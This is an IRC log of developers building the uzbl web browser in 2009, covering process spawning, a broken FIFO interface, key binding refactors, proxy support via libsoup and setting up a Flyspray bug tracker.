16:35 < Sleepy_Coder> Yes, unfortunately they've been moving most of the C functions to lua so awesome is more scriptable. :>
16:35 < Sleepy_Coder> The last major setback was when they moved the arrange functions to lua.  That really slowed things down in window creation
16:35 < Dieterbe> awesome is WAY too bloated
16:36 < Dieterbe> awesome is not a WM, it's a desktop environment
16:36 < Sleepy_Coder> So I got annoyed by all this Lua and resumed my dwm tomfoolery. :>
16:36 < rob|> i don#t like lua, or rather i don't like to learn a new language for every app i want to customize
16:36 < farhaven> Sleepy_Coder: do you go by the name | by any chance? :)
16:36 < Sleepy_Coder> Imo, awesome is quite small.  In introduces overcomplication between scripting the C portion from Lua, but it is small.
16:37 < Sleepy_Coder> farhaven: You are evil. :p
16:37 < farhaven> :D
16:37 < Sleepy_Coder> farhaven: I am trying to do what dcurtis did with groups and wmii layouts (better layouts), but it's annoying me.
16:37 < farhaven> hehe, to be honest, i'm glad i have my exams
16:37 < Sleepy_Coder> farhaven: There doesn't seem to be a good way of doing it and awful is becoming even more and more the *only* way to use awesome
16:37 < farhaven> gives me a bit of a break from awesome
16:38 < Sleepy_Coder> farhaven: I wonder if awesome even runs without awful anymore...
16:38 < farhaven> yeah, which is why i think widget layouts might not be such a good idea after all
16:38 < farhaven> it does
16:38 < farhaven> but not really good
16:38 < farhaven> anyway, wrong channel for that :P
16:38 < Sleepy_Coder> :)))
16:38  * Sleepy_Coder fluffles farhaven
16:38 < farhaven> :P
16:38 < Sleepy_Coder> Don't give me that face. >8|
16:39  * Sleepy_Coder is so bored right now... I forgot why I'm sittin on Windows and just talking on IRC. :\
16:39 < farhaven> windows?
16:39 < Sleepy_Coder> Yes...
16:39 < farhaven> say, are you ill?
16:39 < Sleepy_Coder> Ahh, I wanted to play UT3
16:39 < Sleepy_Coder> farhaven: Well, awesome was a lovely experience but imo it's just gotten even more unstable. :<
16:40 < Sleepy_Coder> farhaven: I'm having this vicious focusing issue where whenever I focus a window with the mouse it'll revert to the previous window
16:40 < farhaven> yeah, sadly
16:40 < Sleepy_Coder> farhaven: And the inclusion of startup-notification is making me hate the French :|
16:40 < farhaven> hehe
16:40 < Sleepy_Coder> :)))
16:40 < farhaven> yeah, it's kinda useless
16:41 < Sleepy_Coder> Tbh, I wish we could get it as close to it's current functionality in a C-form.
16:41 < farhaven> hehe
16:41 < farhaven> reminds me, lwi is working on a few patches for dwm
16:41 < farhaven> which make it quite awesome-ish
16:41 < Sleepy_Coder> dwm did a fantastic job of having it configurable from it's header file and lua had just added performance loss after performance loss. :(  It is quite a lovely window manager, but I loved dwm so much because it was so fast. :<
16:42 < Sleepy_Coder> farhaven: I doubt they'll include it... they hate anything xft/pango/xcb
16:42 < dusanx> I like cheese. How do you guys feel about cheese? What kind do you prefer?
16:42 < farhaven> none :P
16:42 < Sleepy_Coder> hahaha, I guess I did start talking about everything but uzbl. :\
16:42 < rob|> what, no morning bake?
16:42 < Sleepy_Coder> :D
16:42  * rob| is quoting from "so high" again ;)
16:42 < Sleepy_Coder> farhaven: Want to do something lovely for me?
16:43 < farhaven> uhm
16:43 < farhaven> i'm not sure :D
16:43 < Sleepy_Coder> Make a quick C example of creating a window and drawing a pango font with markup interpreted. :p
16:43 < farhaven> uhm
16:43 < Sleepy_Coder> It's difficult finding examples of that... I've been basing it off of awesome
16:44 < farhaven> i have three words for you:
16:44 < farhaven> do it yourself :P
16:44 < Sleepy_Coder> That's four if you count the emote. :p
16:44 < farhaven> which isn't a word
16:44 < Sleepy_Coder> LEARN TO COUNT, HOOKER *pulls uzbl git*
16:44 < Sleepy_Coder> farhaven: Let's talk in the right channel. :p
16:45 < farhaven> hehe
16:47 < Dieterbe> i second that
16:47 < Dieterbe> not too much offtopic please :)
16:51 < dusanx> Dieterbe, rob|: do we have active thread now? if now what is the best way to create one? what to use?
16:51 < rob|> talking about pthread?
16:51 < dusanx> rob|: I am not too good with linux threads, yes, pthread or alrernative. you removed it or not?
16:52 < rob|> i removed it in my fork, right.
16:52 < rob|> what do you need threads for?
16:52 < Dieterbe> doesn't glib internally also use threads? to make theprocess call async?
16:53 < rob|> i think it does
16:53 < dusanx> rob|: to try my old idea: starting any command in the threads and get async response
16:53 < rob|> unfortunatelly
16:53 < dusanx> just for a test
16:53 < rob|> what kind of commands?
16:53 < dusanx> any shell command we use now
16:54 < rob|> just fork and exec it, no need for threds here
16:54 < dusanx> well just fork is what I wanted to hear. not good with threads you know.
16:54 < dusanx> in linux that is
16:54 < rob|> dusanx: http://dzen.googlecode.com/svn/trunk/util.c  <-- see the spawn function
16:55 < rob|> you could just c&p and use it
16:55 < dusanx> rob|: oh yes, thanks
16:56 < dusanx> man this is too easy :)
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16:58 < Dieterbe> note that i want to avoid spawning a shell unless necesarry (eg unless needed/requested by user)
17:07 < dusanx> Dieterbe: does fork spawn shell? I was afk for a moment.
17:08 < Dieterbe> no, fork() on itself not. it just starts a new process that you choose
17:08 < Dieterbe> but in rob|'s example code i saw some stuff about '/bin/sh' (i didn't study it thoroughly)
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17:08 < dusanx> Dieterbe: no problem I will check docs
17:09 < rob|> dusanx: fork is for processes what strdup is for strings, well almost ;)
17:09 < dusanx> rob|: got it ;)
17:10 < dusanx> I just did not used C for a long time, on linux or everywhere else
17:10 < dusanx>  
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17:16 < Dieterbe> jouz wants you to pull from jouz/uzbl at 415e22b
17:16 < Dieterbe> Body: Don't know if commiters are expected to use this "pull request" feature, but i just felt like trying it :).
17:16 < Dieterbe> This brings functionality to scroll in both dimensions of the webpage and adds the shortcuts.
17:16 < Dieterbe> jouz: yes i'll probably pull from you
17:16 < Dieterbe> others: don't work on the same stuff :))
17:16 < Dieterbe> (or merge from jouz and then improve)
17:17 < rob|> ok guys, see you later. bye..
17:17 < Dieterbe> see you rob| , and thanks :)
17:17 < Dieterbe> don't forget to push all your stuff !
17:17 < Dieterbe> if you don't push, we can't see it
17:18 < rob|> will do so later this evening
17:18 < rob|> cu
17:20 < jouz> Dieterbe nice, is the TODO up-to-date? i tasted blood and lok for some easyer tasks ;)
17:20 < jouz> *look
17:23 < Dieterbe> it's not up to data in the sense that i have a lot of things queued up to add to it, it's somewhat up to date in the sense that nearly all things there still need to be handled :)
17:24 < jouz> Dieterbe: i see. I will just try to start at what i miss most for now: keyboard-navigation/hit-a-hint
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17:25 < github> uzbl: Dieter Plaetinck experimental SHA1-ce3e375
17:25 < github> todo updates
17:25 < github> http://bit.ly/vYWRP
17:25 < Dieterbe> hit-a-hint?
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17:25 < Dieterbe> i just pushed some new entries to the todo :)
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17:25 < barrucadu> hi
17:26 < jouz> in todo its called "vimperator like link following scheme"... others call it "hit-a-hint" i think :)
17:26 < Dieterbe> jouz: yes i don't think anyone started on the vimperator style link following. it's a good thing to start hacking on
17:27 < Dieterbe> and also something i miss
17:27 < Dieterbe> the only i still need a mouse for i think
17:27 < dusanx> that might be hardest task of them all
17:28 < jouz> dusanx: i feared that it would be, but i think someone has to start with it...
17:29 < Dieterbe> if you tackle it step by step, it's not harder then the other things :)
17:29 < Dieterbe> maybe more work yes, but not harder
17:29 < Dieterbe> and the webkit api must support adding tooltips etc of course
17:31 < Dieterbe> or in-place hilighting
17:31 < jouz> hmm. Vimperator does spawn css-styled/positioned hints right?
17:32 < dusanx> well, I was speaking in terms 'hardest task for me' lol. I am glad if it is not so hard
17:32 < Dieterbe> dusanx: depends on how you define hard. i think it's just noticeably more work then the other tasks
17:32 < jouz> i don't know if anybody here used opera with keyboard. that does look really nice, their engine does support some some sort if in-place highlighting
17:33 < Dieterbe> but let's not discourage jouz :P
17:33 < dusanx> there was some nice talk on forum about how that should work
17:34 < dusanx> I am sure that jouz is more than capable of not only starting to create crown jewel in our software but also to finish it!
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17:34  * barrucadu1 sighs
17:34 < Dieterbe> jouz: yes but also here
17:36 < Dieterbe> jouz: i think the end conclusion was: use letters in the links themselves to match on, not numbers or random characters (even if user can define his favorite characters). advantages: no need for tooltips. just style letters in the link differently + less cognitive load. also , if you type a new character, links should be relabeled to filter out the ones that don't match anymore and renumber them also
17:37 < barrucadu1> Dieterbe: I think I may have the FIFO working properly again. I need to play with it a bit more to make sure, but it looks good.
17:37 < Dieterbe> barrucadu1: rob| fixed that this morning :)
17:37 < barrucadu1> Oh well :p
17:37 < Dieterbe> it can be an interesting learning exercise, compare your solution with his
17:38 < jouz> Dieterbe: jep i remember reading that and i liked it very much.
17:38 < dusanx> barrucadu1: I am not touching anything right now, everything I wanted is already done lol
17:38 < barrucadu1> Dieterbe: Where can I find his solution?
17:38 < Dieterbe> dusanx: checkout the new TODO file. there are plenty of new entries :P
17:38 < dusanx> jouz: it's great idea and I have not seen it anywhere before
17:38 < dusanx> Dieterbe: :P
17:38 < Dieterbe> barrucadu1: well, he forked me on github. he just left without pushing i'm afraid.  maybe he pushed some stuff, i definitely hope so
17:38 < Dieterbe> or hope he comes online soon again
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17:39 < dusanx> Dieterbe: he said he will push this evening
17:39 < anydot> Dieterbe: Ok, I'm done with merging my patch back.
17:41 < Dieterbe> dusanx: yeah well, depends on how you define evening... it could mean in the middle of the night, which is 5 hours from now
17:41 < Dieterbe> anydot: great success!
17:41 < Dieterbe> anydot: have you forked me on github?
17:42 < anydot> Just wait a minute.
17:42 < anydot> :)
17:43 < Dieterbe> anydot: ok, because if you fork me, aplly your patch on your branch, and push back to github, it's much easier for me to merge then by using a diff file, which breaks as soon as a line is different. merging is smarter
17:44 < anydot> I know.
17:44 < Dieterbe> ok
17:44 < anydot> And all I do is based against (updated) other repos.
17:45 < anydot> Dieterbe: ok, as I can see, you succeded in configuring that github's ircbot :)
17:45 < anydot> Good for you.
17:46 < Dieterbe> anydot: hm yeah but i don't like it too much
17:46 < anydot> Dieterbe: Ok, you can merge from my master now.
17:46 < Dieterbe> it joins/quits for each message, and outputs several lines per commit :/
17:46 < anydot> And btw, the unix socket handling code is inherently broken.
17:46 < Dieterbe> if your bot can do it in 1 line, i prefer that
17:47 < anydot> I can even see how it can segfault etc, but I don't want to intermix my patch with other changes.
17:47 < anydot> Dieterbe: well, problem is that supybot can use only rss 1/2 feeds, but github supports only atom feed.
17:48 < Dieterbe> oh :(
17:48 < anydot> But I have solution, stay tuned. :)
17:48 < Dieterbe> ok great
17:49 < Dieterbe> i'll deconfigure the github bot as soon as yours works
17:50 < anydot> ok
17:51 < Dieterbe> hey btw barrucadu what do you think about it, if we would setup a flyspray on uzbl.org?
17:52 < barrucadu> Dieterbe: I haven't really looked at Flyspray, most of my experience has been with Trac. I think it would be a good idea though
17:52 < barrucadu> I'll read up on it :)
17:53 < Dieterbe> flyspray is what we use for arch
17:53 < Dieterbe> i heard some horror stories about trac so i would rather avoid it. also it has it's own approach for many things, i don't like that
17:54 < Dieterbe> flyspray is not too fancy or anything but just does its job
17:54 < barrucadu> It looks familiar…
17:54 < barrucadu> Is this what Arch uses?
17:54 < barrucadu> Yes, it is
17:54 < Dieterbe> 7:53:07 < Dieterbe> flyspray is what we use for arch
17:54 < Dieterbe> :P
17:56 < barrucadu> ah
17:56 < barrucadu> :p
17:56 < barrucadu> Err… missed that message :p
17:58 < barrucadu> I'll set up a subdomain then :)
17:59 < dusanx> got to go, will be back in few hours
17:59 < barrucadu> bye
18:00 < Dieterbe> thanks barrucadu , i would prefer bugs.uzbl.org
18:00 < Dieterbe> or in fact, i don't really like subdomains so much
18:00 < Dieterbe> uzbl.org/bugs is better imho
18:00 < barrucadu> ok
18:01 < Dieterbe> anyway i'm off, see you in a short while
18:01 < Dieterbe> and tell rob| to push his code when he comes back :P
18:03 < barrucadu> ok :p
18:08  * barrucadu installs flyspray
18:08 < barrucadu> "Mr Super User (Barrucadu)" lol
18:09 < barrucadu> Hmm, I don't see any need in putting flyspray in git, I'll .gitignore it
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18:57 < sm217> hi
18:58 < barrucadu> hi
18:58 < anydot> lo
19:05 < sm217> how it's going? any progress on data stuff that rob| proposed?
19:06 < barrucadu> Not sure, I haven't been here for most of the dat and Dieterbe and dusanx are away
19:06 < barrucadu> *day
19:12 < dusanx> I am back :)
19:12 < dusanx> rob| finished his work without pushing, he said that he will push later today so... we wait
19:14 < sm217> okay
19:15 < sm217> will try to find some webkit documentation.
19:17 < dusanx> sm217: http://webkitgtk.org/reference/webkitgtk-WebKitWebView.html
19:17 < dusanx> sm217: that's freshest you will find
19:18 < sm217> thanks :)
19:24 < sm217> about formatting docs, we could use txt2tags.
19:33 < yiyus> mmm, no mailing list yet?
19:36 < barrucadu> yiyus: I don't think we need a mailing list yet - then again I didn't think we needed a bug tracker either, but we have one now…
19:38 < sm217> oh, we do?
19:38 < barrucadu> http://www.uzbl.org/bugs/
19:38 < barrucadu> dusanx: If you register I'll make you an admin
19:39 < sm217> flyspray's cool
19:39 < sm217> hmm, no any docs on webkit & proxy >.<
19:40 < dusanx> I am back
19:41 < yiyus> well, I will have a look at the code this long weekend, maybe I can help a bit
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19:42 < yiyus> are there any plans on how to implement the url bar?
19:42 < barrucadu> URL handling is done outside of Uzbl
19:42 < yiyus> yep, I know, but it has to be done anyway, the web says you have some plans
19:43 < yiyus> I was thinking about adding editing capabilities to dmenu (sort of...)
19:43 < dusanx> yiyus: has to be done?
19:43 < yiyus> dusanx: you have to give urls to the browser in some way, even if it is with echo
19:44 < yiyus> I mean, I agree that it is done outside of uzbl, but you have to enter urls in some way or another
19:45 < dusanx> yiyus: have you instelled uzbl?
19:45 < dusanx> =installed or compiled or whatever
19:45 < yiyus> not yet, I just arrived home, have been following the channel today at work
19:46 < yiyus> it looks promising
19:46 < dusanx> yiyus: you have two dmenu driven keyboard shortcuts u and U (one is history and other is bookmarks)
19:46 < dusanx> yiyus: there you can type any url you want
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19:48 < yiyus> I read in the README: "soon there will be a decent url editor addon" and was wondering what it would be
19:49 < jouz_> ls
19:49 < sm217> :)
19:49 < jouz_> :D oops
19:49 < dusanx> yiyus: readme is bit behind ;)
19:49 < yiyus> as I told I'd like to help, but I don't know anything about webkit and have some xlib experience, so I was thinking about helping with the external tools
19:49 < yiyus> anyway, it will be better if I first have a look at the code...
19:59 < dusanx> will be back in few hours, see you all
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20:05 < Dieterbe> back
20:08 < Dieterbe> yiyus: yep, improving dmenuu to be better at editing is also what i want to do
20:09 < anydot> Dieterbe: How it's going with merge with my branch? :)
20:10 < Dieterbe> haven't started yet. im just home
20:10 < anydot> :)
20:10 < anydot> It should be only fast forward, no real work. :)
20:10 < Dieterbe> yeah, the first merge is usually not too bad
20:11 < Dieterbe> but then there are the other trees and patches i need to merge :P
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20:31 < dusanx> back, just to leave recording before I leave ;) see you
20:44 < jouz_> yeah im going to leave, too. tomorrow is "Day of Work" in germany, hence everybody partys tonight ;)
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20:48 < jouz> but i think the follow link thingy is not entirely impossible... i already have a plan, and maybe i get a first version running for the weekend ;)
20:49 < sm217> I did some research on proxy stuff. it seems that webkit uses libsoup for actual networking, so it may be possible to configure things with it.
20:49 < sm217> as midori author said, "Midori tells libsoup what proxy server to use".
20:51 < sm217> I will now see what can be done...
20:51 < anydot> But there's also curl based backend, in webkit sources.
20:52 < sm217> you think curl should be used?
20:53 < sm217> I've seen opinions that libsoup performs better
20:53 < sm217> reasons here: http://mso-chronicles.blogspot.com/2009/02/webkit-gtk-libsoup-or-curl_04.html
20:53 < anydot> Dunno that, I only sad, that in webkit sources, there's curl-based network backend.
20:54 < anydot> whereas the current setting (which is also used in the Fedora WebKit package) is the cURL backend.
20:54 < anydot> (from that link), that correspond with what I said above.
20:57 < sm217> Hmm
20:58 < sm217> The one in arch linux depends on libsoup
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21:01 < sm217> that blog also says that libsoup is the default backend, though the message it refers to is lost.
21:04 < anydot> Dieterbe: OK, another change, go home removed (substitued by configurable "uri $homepage" in configuration).
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21:04 < sm217> heh, I have the same :P
21:10 < Dieterbe> :P
21:11 < sm217> Dieterbe: what do you think about libsoup as a dependency?
21:11 < anydot> It is simple, I proposed it yesterday, but it depend on previous changeset.
21:12 < Dieterbe> sm217: why do we need it?
21:12 < sm217> I said above, it seems it is needed for proxy
21:18 < sm217> I asked and been said that midori uses it too
21:20 < Dieterbe> ok then
21:20 < Dieterbe> but we need to document that if you compile webkit with curl you cannot use the proxying
21:20 < Dieterbe> we need to possible update the Makefile etc
21:21 < sm217> yes
21:21 < sm217> about documentation, todo says we need something to format it.
21:21 < sm217> what about txt2tags?
21:22 < sm217> quite simple, can generate html, latex and more
21:22 < Dieterbe> barrucadu: is it possible to serve rss/atom feeds for our news?
21:23 < Dieterbe> sm217: well i think the plaintxt->html conversion should happen in real time ,when the page is requested, by php
21:23 < sm217> hmm
21:23 < Dieterbe> so we can put a clone of the source on the webhost and all pages on the site are up to date and nice
21:23 < sm217> not sure if it'll be fast enough
21:23 < Dieterbe> with markdown/textile etc it should work
21:24 < sm217> I mean, processing sources to html
21:25 < sm217> oh, there's even php source avaiable to convert thing with txt2tags.
21:25 < Dieterbe> aha
21:25 < sm217> and it can produce manpages :P
21:27 < sm217> I will try with libsoup tomorrow...
21:27 < sm217> Bye.
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21:42 < barrucadu> Dieterbe: I'm planning on implementing feeds at some point
21:43 < Dieterbe> ok
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21:47 < Dieterbe> anydot: after merging your master, only the first command comming in is interpreted (though this could also have been before the merge. i should have tested)
21:47 < anydot> comming via fifo or socket?
21:47 < Dieterbe> fifo.  keybinds work fine btw
21:48 < Dieterbe> oh right, i still need to merge in fifo fixes from rob
21:48 < Dieterbe> fifo was broken
21:48 < anydot> That problem was there even before imho.
21:48 < anydot> It imho happens as consequence of that g_io_channel_read_line change. :)
21:49 < Dieterbe> yeah, never mind what i said
21:49 < anydot> And it happends because of: 20090429 17:18:01<       anydot> Btw, does glib reopen that fifo everytime it catch eof?
21:50 < anydot> And that socket thingie is broken too, it allow for buffer overflow etc.
21:53 < Dieterbe> i see, well barrucadu and I aren't too good in C. we need to learn :)
21:53 < anydot> :)
21:54 < Dieterbe> http://github.com/Barrucadu/uzbl/commit/01d7a268b1433c37b6964a3590c56b8d9c9068f9 this should fix the fifo bug
21:55 < anydot> That's that reopen. :)
21:58 < Dieterbe> ugh and it doesn't work
21:58 < Dieterbe> barrucadu: did you test http://github.com/Barrucadu/uzbl/commit/01d7a268b1433c37b6964a3590c56b8d9c9068f9 ?
21:58 < anydot> hehe
21:59 < barrucadu> Dieterbe: Yes, I sent several commands to the FIFO and they all worked, whereas only the first would have worked before
21:59 < anydot> Is whole browser locked, or just fifo doesn't work (after applying this patch).
22:00 < Dieterbe> hm indeed, mine is locked too
22:01 < anydot> I didn't tested it so far. :)
22:01 < Dieterbe> anyway do you have any idea how to properly fix the fifo's, anydot ?
22:02 < anydot> From this, it looks like the first read doesn't get eof (fifo is not closed then), so it block on the next open (only one reader is allowed on fifo in time).
22:02 < dusanx> I am back :)
22:02 < anydot> Dieterbe: Sort of, it must be rewriten, together with socket handling. :)
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22:11 < dusanx> any news from rob| ?
22:13 < Dieterbe> no :(
22:14 < Dieterbe>  anydot> From this, it looks like the first read doesn't get eof -> do we need EOF? we use g_io_channel_read_line which reads until newline (that's why it blocks in partial writes but that's another story)
22:14 < Dieterbe> anydot: i'm looking at the code and don't see why it wouldn't work if we write complete command (with newline at the end) into the fifo
22:16 < anydot> I mean partial write as in echo something > fifo ; echo otherthing > fifo
22:16 < anydot> But nevermind, these shouldn't be supported anyway.
22:20 < Dieterbe> but i don't get the EOF thing, we just read lines (including newline char)
22:21 < barrucadu> Dieterbe: The website now has an atom feed
22:21 < dusanx> when is eof signalled anyway
22:21 < dusanx> ?
22:21 < dusanx> when you send multiple lines, at the end of block?
22:22 < dusanx> barrucadu: you are good :)
22:22 < barrucadu> dusanx: I'm far better at PHP than C :p
22:23 < dusanx> barrucadu: are you familiar with CodeIgniter? ImageMagic? Mysql?
22:24 < barrucadu> dusanx: CodeIgniter, no. ImageMagic, sort of. MySQL, yes.
22:25 < dusanx> barrucadu: nice, I am always scouting for skilled ones ;) if something comes out I'll call help
22:25 < Dieterbe> great  barrucadu 
22:44 < anydot> Dieterbe: btw, how dit you setup that github irc bot?
22:44 < Dieterbe> hmmm anydot i was wondering if we could "route" bindings through the same code as incoming fifo/socket commands.  i figured out socket/fifo are going through parse_line first (split up command from args), and then through parse_command(cmd,args).  with keybindings you do the cmd-vs-arg parsing only once and store them like that, so you just need to call parse_command
22:45 < Dieterbe> so your code makes things a bit more complicated but is more efficient because you only need to split cmd from args once per binding
22:46 < anydot> As for now, we should stick to it, as I take that RSS problem with very low priority (~days). :)
22:46 < anydot> Dieterbe: Well, parse_line was quickhack, so I don't have to duplicate code.
22:47 < Dieterbe> in add_binding you do a  g_strsplit(act, " ", 2); btw
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--- Log opened Thu Apr 30 22:53:13 2009
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22:54 < anydot> Dieterbe: http://pastebin.ca/1408868
22:55 < Dieterbe> thanks
22:55 < Dieterbe> i think it's okay like it is now, just split on first space
22:56 < Dieterbe> anydot: for irc bot: be owner of a repo -> admin -> service hooks 
22:56 < anydot> Well, in future, there can be command which have multiple parameters.
22:56 < anydot> And so, in action char *param -> char **param etc.
22:56 < anydot> It will also do escaping for us for free, which is nice. :)
22:57 < Dieterbe> what's wrong with considering multiple paramaters as one? like we also do now -> spawn /bin/bash /some/script.sh
22:57 < anydot> Dieterbe: But I'm only thinking about it for now, summing pros and cons ...
22:57 < Dieterbe> "/bin/bash /some/script.sh" is now the argument
22:57 < Dieterbe> that's fine by me
22:58 < anydot> Dieterbe: Well, it's mutch better to parse parameters in one place, then on many. :)
22:58 < anydot> Dieterbe: Ye, and it still will be one parameter of course.
22:58 < Dieterbe> btw i don't really how the uri thing still works with your code
22:58 < Dieterbe> #define VIEWFUNC(name) static void view_##name(WebKitWebView *page, const char *param){(void)param; webkit_web_view_##name(page);}
22:59 < Dieterbe> never mind, now i see load_uri is not in that list
22:59 < anydot> :)
23:00 < Dieterbe> so, can you explain me why/where the fifo could waits for an EOF ? afaik we do read line which reads until \n and then returns
23:02 < anydot> Yes, the real problem is what happens then.
23:02 < anydot> FIFO must be reopened after each close, so it is ready for next client.
23:05 < Dieterbe> are you saying g_io_add_watch() only works once?
23:05 < Dieterbe> the api is not very clear about that :?
23:07 < anydot> It not much clear about using the IO channels on FIFO (as there is that close/open specific).
23:07 < anydot> And also, I just run into strange behaviour with it. :)
23:08 < Dieterbe> barrucadu: fyi, when you merged my code you seem to have lost your patch http://github.com/Barrucadu/uzbl/commit/01d7a268b1433c37b6964a3590c56b8d9c9068f9 not sure if that was intended
23:12 < dusanx> going to sleep, see you all tomorrow
23:12 < Dieterbe> see you dusanx 
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23:16 < github> uzbl: Dieter Plaetinck experimental SHA1-a77e1a4
23:16 < github> todo updates
23:16 < github> http://bit.ly/eO3yV
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23:23 < Dieterbe> rob|: you here?
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23:42 < anydot> Ok, proudly present you another batch of commits :)
23:42 < anydot> http://github.com/anydot/uzbl/commit/0c6ca060eef33bae6c2de50ce9918c43f17172f8
23:43 < anydot> allows for multicharacter bindings, see gh in config
23:43 < anydot> Current command string is shown in status bar and can be canceled via escape.
23:44 < anydot> the other one is todo update, and the last is slight change in Makefile, so in make test/-config/-dev, the uzbl is automatically rebuild if needed.
23:44 < anydot> All tested. :)
23:44 < anydot> Dieterbe: ^^
23:45  * barrucadu glances up from his book
23:45 < barrucadu> Ooh, things to merge :D
23:45 < barrucadu> Well done :)
23:50 < barrucadu> This is wonderful :D
23:51 < barrucadu> Hmm, what happens if you have a binding 'b' and a binding 'bb'? (for example)
23:51 < barrucadu> I'm guessing 'bb' would never get executed, as 'b' would be
23:51 < anydot> Then you have broken configuration :)
23:51 < barrucadu> True :p
23:52 < anydot> barrucadu: All bindings can be only unambiguous, which 'b' vs 'bb' isn't.
23:52 < anydot> Really just problem of the user. :)
23:52 < anydot> barrucadu: To say it: It's feature, not bug.
23:52 < barrucadu> I suppose there isn't anything we can do about PEBKACs :p
23:53 < anydot> In future, there can be some configuration checking, but that is imho pretty low priority task.
23:59 < anydot> Yet another commit, now is key for entering insert mode configurable, it's just another function :)
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00:03 < anydot> update_title is now without parameter, as it makes any sense to call it with anything else than GTK_WINDOW(main_window).
00:04 < barrucadu> anydot: Changing the key for insert_mode doesn't seem to work here
00:04 < barrucadu> Wait
00:04 < anydot> :)
00:04 < barrucadu> I forgot to recompile
00:04 < barrucadu> :p
00:04 < anydot> heh :)
00:05 < anydot> So two features changes keypress callback and in same time, it's much simpler than before.
00:05 < anydot> :)
00:06 < anydot> barrucadu: Can anonyms post bugs or registering is required?
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00:07 < barrucadu> Not a clue, I haven't touched the settings much
00:07 < barrucadu> I'll check
00:07 < anydot> OK
00:09 < barrucadu> It would seem registering is required, but I can't find the setting to change that… to Google!
00:09 < anydot> btw, From: Default Project <flyspray@uzbl.org>
00:11 < anydot> Ok, now I'm registered.
00:12 < anydot> barrucadu: Can you create project uzbl, and delete "default project"?
00:13 < barrucadu> I've renamed the task to Uzbl, edited the information, and allowed anonymous users to add bugs :)
00:13 < anydot> ok
00:14 < anydot> Which users are announced if there is new bug entered?
00:14 < anydot> Or users themself "subscribe" to projects they want to watch?
00:15 < anydot> Ooou, you put too long text as description or whatever it is.
00:15 < anydot> It's bug report system, not homepage :)
00:16  * barrucadu looks at the notification settings
00:16 < anydot> Also, I can't see how to enter new bug.
00:16 < anydot> There's not submit etc etc button.
00:17 < anydot> Hm, maybe because I have no permission, I can't do any active change like post, comment etc.
00:17  * barrucadu logs out
00:17 < barrucadu> There is an "Add this task button" just below the Details box
00:18 < anydot> I can't add tasks.
00:18 < anydot> :)
00:18 < anydot> Well, if I logout, I can enter bug, but not if I'm logged in :)
00:22 < barrucadu> Hmm, Flyspray says you don't exist :p
00:22 < anydot> lol!
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00:23 < barrucadu> If I begin typing "anydot" in the user box it shows your name, and then says you don't exist when I try to edit you
00:23 < anydot> cool
00:23 < anydot> Schroedinger's anydot
00:23 < anydot> ;P
00:24 < barrucadu> Aha, found you :p
00:24 < barrucadu> You don't exist in the Uzbl project, but do exist in the "All Projects" category for some reason
00:25 < barrucadu> You should be able to report bugs now, as will (hopefully) anyone else who registers
00:25 < anydot> I thought, that all project is some imagine project only.
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07:54 < sm217> Hi.
07:58 < sm217> someone should review TODO, some things are implemented already
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11:34 < dusanx> 'morning :)
11:35 < dusanx> anydot: are you there?
11:36 < Dieterbe> hi dusanx 
11:36 < dusanx> :)
11:36 < dusanx> I wanted to ask anydot if he is working on new window execution as you told me yesterday?
11:38 < dusanx> I found few examples where new window fails, where new link uses JS or combines JS and regular link
11:38 < dusanx> so I am thinking about fixing that, I just don't know what anydot finished
11:40 < Dieterbe> hm was he working on new window execution you think?
11:41 < dusanx> Dieterbe: you told me so yesterday, that's why I stopped doing anything before I see what he did, to avoid double work
11:42 < dusanx> shit this pacgraph is great tool!
11:44 < dusanx> Dieterbe: and I am not really sure where we are now, both because don't know who does what and what rob| changed, his changes should be too big to try to code anything now
11:44 < Dieterbe> he has been refactoring how bindings work and how commands are interpreted. not the "new window" logic specifically
11:45 < Dieterbe> yep, rob still didn't push his stuff
11:45 < dusanx> hmm, ok, then I will continue to work on new window. Confused why you told me that he is doing that when I told you that I want to work on exec new window?!
11:46 < dusanx> Dieterbe: is your experimental stable right now? Any known bugs?
11:50 < Dieterbe> no it's not stable
11:51 < Dieterbe> the biggest bug is that fifo is broken. you can only write a command to it once
11:51 < Dieterbe> after that fifo doesn't work anymore
11:51 < Dieterbe> dusanx: he was working on the logic to invoke commands, that's _related_ to new window stuff (eg your work may conflict) but not the same
11:51 < dusanx> Dieterbe: ok, I will merge and see what I can do. Bit confused about whole fifo talk, I want to check myself.
11:52 < dusanx> Dieterbe: no problem, it was misunderstanding ;) I wanted to work on run that copies all parameters except uri that we talked about few days ago
11:53 < Dieterbe> yeah
12:07 < dusanx> Dieterbe: How can I test fifo bug?
12:11 < Dieterbe> echo 1 command to the fifo. see that it works. echo more commands, see that nothing happens
12:12 < dusanx> Dieterbe: thanks
12:12 < dusanx> Dieterbe: hey, you are not working today?
12:14 < Dieterbe> no it's holiday remember
12:14 < dusanx> nice :)
12:19 < anydot> dusanx: I wasn't working on new window creation code.
12:20 < dusanx> anydot: ok, thanks, I will do that and forwarding all switches except uri to new window. we have new switches and it will be easier to just push them all
12:21 < anydot> Command line switches?
12:21 < dusanx> --config etc, new instance needs them too
12:22 < anydot> Well, I have plan to pass argument via env. variables instead of parameters, in case of external scripts.
12:22 < anydot> But same concept can be usable for spawning another window too.
12:23 < dusanx> anydot: what is adventage if we use variables?
12:23 < anydot> As there will be env. which contains path to configuration file.
12:23 < anydot> dusanx: Simpler code, and also for script creators it's much convenient to use $UZBL_... instead of $numberhere
12:24 < anydot> And via parameters only optional, or action specific params will be pass. (for example uri in case of history callback etc).
12:24 < dusanx> anydot: well we can use command variable instead of fifo too, right?
12:25 < Dieterbe> no that wouldn't work
12:25 < Dieterbe> not reliably / clean way to implement
12:25 < anydot> I don't understant what do you think.
12:26 < dusanx> Dieterbe: shell modifies $whetever, uzbl cleans $whatever, shell can write again?
12:26 < anydot> No, that's not the way how it works.
12:27 < anydot> env. is only passed via copy, it's not IPC
12:27 < dusanx> anydot: ok
12:27 < anydot> It's one way, father to son process communication.
12:35 < shortlord> Will the next versions of uzbl automatically load a default configuration file? Because the sampleconfig is already there, so you could use it ootb when invoking uzbl. If anyone does not want it, they can remove it or replace it with their own versions easily
12:37 < anydot> It now first search config file somewhere in XDG paths,
12:37 < anydot> In case you are using default paths, in ~/.config/uzbl/ ..
12:37 < Dieterbe> shortlord: i disagree, it's up to the user to specify a config
12:37 < Dieterbe> or like anydot said, put it in $XDG_CONFIG_HOME/uzbl
12:39 < anydot> btw, why its "INSTALLING" not "INSTALL" file?
12:40 < shortlord> using .config/uzbl is definitely good
12:41 < anydot> yep.
12:41 < shortlord> I am just saying that it should be as usable as possible ootb without sacrificing too much simplicity
12:41 < anydot> And this is also ~answer to your question :)
